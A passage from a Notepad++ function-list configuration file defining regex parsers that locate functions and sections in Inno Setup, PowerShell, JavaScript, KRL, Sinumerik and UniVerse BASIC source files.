Multi Line Comment | (?m-s:^\h*;.*?$) # Single Line Comment " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m)^\h* # optional leading whitespace (?i:FUNC\s+) # start-of-function indicator \K # keep the text matched so far, out of the overall match [A-Za-z_]\w* # valid character combination for identifiers \s*\([^()]*?\) # parentheses required, parameters optional " > <!-- comment out the following node to display the function with its parameters --> <functionName> <nameExpr expr="[A-Za-z_]\w*" /> </functionName> </function> </parser> <!-- ================================================== [ Inno Setup ] --> <parser displayName="Inno Setup" id ="innosetup_syntax" > <classRange mainExpr ="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?ms) (?'SECTION_HEADER' ^ # header starts at beginning of a line \[ # start of section header (?-i:Code) # `Code` section name ] # end of section header ) .*? # whatever, up till... (?= # ...next valid section header or... ^ # +-- header starts at beginning of a line \[ # +-- start-of-header indicator (?-i: Components|(?:Custom)?Messages | Dirs | Files | I(?:cons|nstallDelete) | Languages | R(?:egistry|un) | Setup | T(?:asks|ypes) | Uninstall(?:Delete|Run) ) # +-- valid section name ] # \-- end-of-header indicator | \Z # ...end-of-file ) " > <className> <nameExpr expr="^\[\K[^\h\]]+(?=])" /> </className> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s)^\h* # optional leading whitespace (?i:FUNCTION\h+) (?'VALID_ID' [A-Za-z_]\w* ) \s*\( # start-of-parameter-list indicator [^()]* # parameter list \s*\) # end-of-parameter-list indicator \s*: # type indicator \s*[A-Za-z_]\w* # type identifier \s*; # end-of-statement indicator " > <functionName> <funcNameExpr expr="(?i:FUNCTION\h+)\K[A-Za-z_]\w*\s*\([^()]*\)" /> <!-- comment out the following node to display the method with its parameters --> <funcNameExpr expr="[A-Za-z_]\w*" /> </functionName> </function> </classRange> <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?ms) (?'SECTION_HEADER' ^ # header starts at beginning of a line \[ # start-of-header indicator (?-i: Components|(?:Custom)?Messages | Dirs | Files | I(?:cons|nstallDelete) | Languages | R(?:egistry|un) | Setup | T(?:asks|ypes) | Uninstall(?:Delete|Run) ) # valid section name ] # end-of-header indicator ) .*? # whatever, up till... (?= (?&SECTION_HEADER) # ...next valid section header,... | ^\[(?-i:Code)] # ...`Code` section header or... | \Z # ...end-of-file ) " > <functionName> <nameExpr expr="^\[\K[^\]]+(?=])" /> </functionName> </function> </parser> <!-- ================================================== [ PowerShell ] --> <parser displayName="PowerShell" id ="powershell_function" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?s:\x3C\x23(?:[^\x23]|\x23[^\x3E])*\x23\x3E) # Multi Line Comment | (?m-s:\x23.*$) # Single Line Comment " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) \b (?:function|filter) \s+ (?: [A-Za-z_]\w* : )? [A-Za-z_][\w\-]* \s* [({] " > <functionName> <nameExpr expr="[A-Za-z_][\w\-]*(?=\s*[({])" /> </functionName> <className> <nameExpr expr="[A-Za-z_]\w*(?=:)" /> </className> </function> </parser> <!-- ================================================ [ J(ava)Script ] --> <parser displayName="JavaScript" id ="javascript_function" commentExpr="(?s:/\*.*?\*/)|(?m-s://.*?$)" > <function mainExpr="((^|\s+|[;\}\.])([A-Za-z_]\w*\.)*[A-Za-z_]\w*\s*[=:]|^|[\s;\}]+)\s*function(\s+[A-Za-z_]?\w*\([^\)\(]*\)|\([^\)\(]*\))[\n\s]*\{" > <functionName> <nameExpr expr="[A-Za-z_]\w*\s*[=:]|[A-Za-z_]?\w*\s*\(" /> <nameExpr expr="[A-Za-z_]?\w*" /> </functionName> <className> <nameExpr expr="([A-Za-z_]\w*\.)*[A-Za-z_]\w*\." /> <nameExpr expr="([A-Za-z_]\w*\.)*[A-Za-z_]\w*" /> </className> </function> </parser> <!-- ========================================================= [ KRL ] --> <!-- KRL - KUKA Robot Language --> <!-- | https://notepad-plus-plus.org/community/topic/12264/function-list-for-new-language \--> <parser displayName="KRL" id ="krl_function" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s:;.*$) # Single Line Comment " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?i: (?:GLOBAL\h+)? DEF # start-of-procedure indicator, possible extended to... (?: FCT # ...start-of-function indicator \h+ (?:BOOL|CHAR|INT|REAL|(?&VALID_ID)) # returning a primitive type or a user-defined-type... (?: # ...optionally as an array \h*\[ \h*(?:\d+|\x27(?:H[0-9A-Fa-f]+|B[01]+)\x27)? \h*\] )? )? ) \h+ \K # keep the text matched so far, out of the overall match (?'VALID_ID' # valid identifier, use as subroutine \b(?!(?i: AN(?:D|IN|OUT) | B(?:OOL|RAKE|_(?:AND|EXOR|NOT|OR)) | C(?:ASE|AST_(?:FROM|TO)|HAR|IRC(?:_REL)?|ON(?:ST|TINUE)|_(?:DIS|ORI|PTP|VEL)) | D(?:ECL|EF(?:AULT|DAT|FCT)|ELAY|O) | E(?:LSE|ND(?:DAT|FCT|FOR|IF|LOOP|SWITCH|WHILE)?|NUM|X(?:IT|OR|T(?:FCT)?)) | F(?:ALSE|OR) | G(?:LOBAL|OTO) | HALT | I(?:[FS]|MPORT|NT(?:ERRUPT)?) | L(?:IN(?:_REL)?|OOP) | M(?:AXI|INI)MUM | NOT | OR | P(?:RIO|TP(?:_REL)?|UBLIC) | RE(?:AL|PEAT|SUME|TURN) | S(?:EC|IGNAL|TRUC|WITCH) | T(?:HEN|O|RIGGER|RUE) | UNTIL | W(?:AIT|HEN|HILE) )\b) # keywords, not to be used as identifier [$A-Za-z_\x7F-\xFF][$\w\x7F-\xFF]{0,23} # valid character combination for identifiers ) \h*\([^)]*\) " > <!-- comment out the following node to display the method with its parameters --> <functionName> <nameExpr expr="[$A-Za-z_\x7F-\xFF][$\w\x7F-\xFF]{0,23}" /> </functionName> </function> </parser> <!-- =================================================== [ Sinumerik ] --> <!-- Sinumerik - Siemens Numeric Control --> <!-- | https://notepad-plus-plus.org/community/topic/12520/function-list-for-simatic | 20161113: Added `(?!\$PATH)` to get around restriction/bug of | two characters required before comment. \--> <parser displayName="Sinumerik" id ="sinumerik_function" commentExpr="(?m-s:;(?!\$PATH).*?$)" > <function mainExpr="(?m)^%_N_\K[A-Za-z_]\w*" /> </parser> <!-- ============================================== [ UniVerse BASIC ] --> <!-- | Based on: | https://notepad-plus-plus.org/community/topic/12742/functionlist-different-results-with-different-line-endings \--> <parser displayName="UniVerse BASIC" id ="universe_basic" commentExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-s: (?:^|;) # at start-of-line or after end-of-statement \h* # optional leading whitespace (?-i:REM\b|\x24\x2A|[\x21\x2A]) # Single Line Comment 1..4 .*$ # whatever, until end-of-line ) | (?:\x22[^\x22\r\n]*\x22) # String Literal - Double Quoted | (?:\x27[^\x27\r\n]*\x27) # String Literal - Single Quoted | (?:\x5C[^\x5C\r\n]*\x5C) # String Literal - Backslash Quoted " > <function mainExpr="(?x) # Utilize inline comments (see `RegEx - Pattern Modifiers`) (?m-i)^ # case-sensitive, NO leading whitespace (?: \d+\b(?=:?) # completely numeric label, colon optional + discarded | [A-Za-z_][\w.$%]*(?=:) # alphanumeric label, colon required + discarded ) " /> </parser> <!-- ================================================================= --> </parsers> </functionList> </NotepadPlus>
Close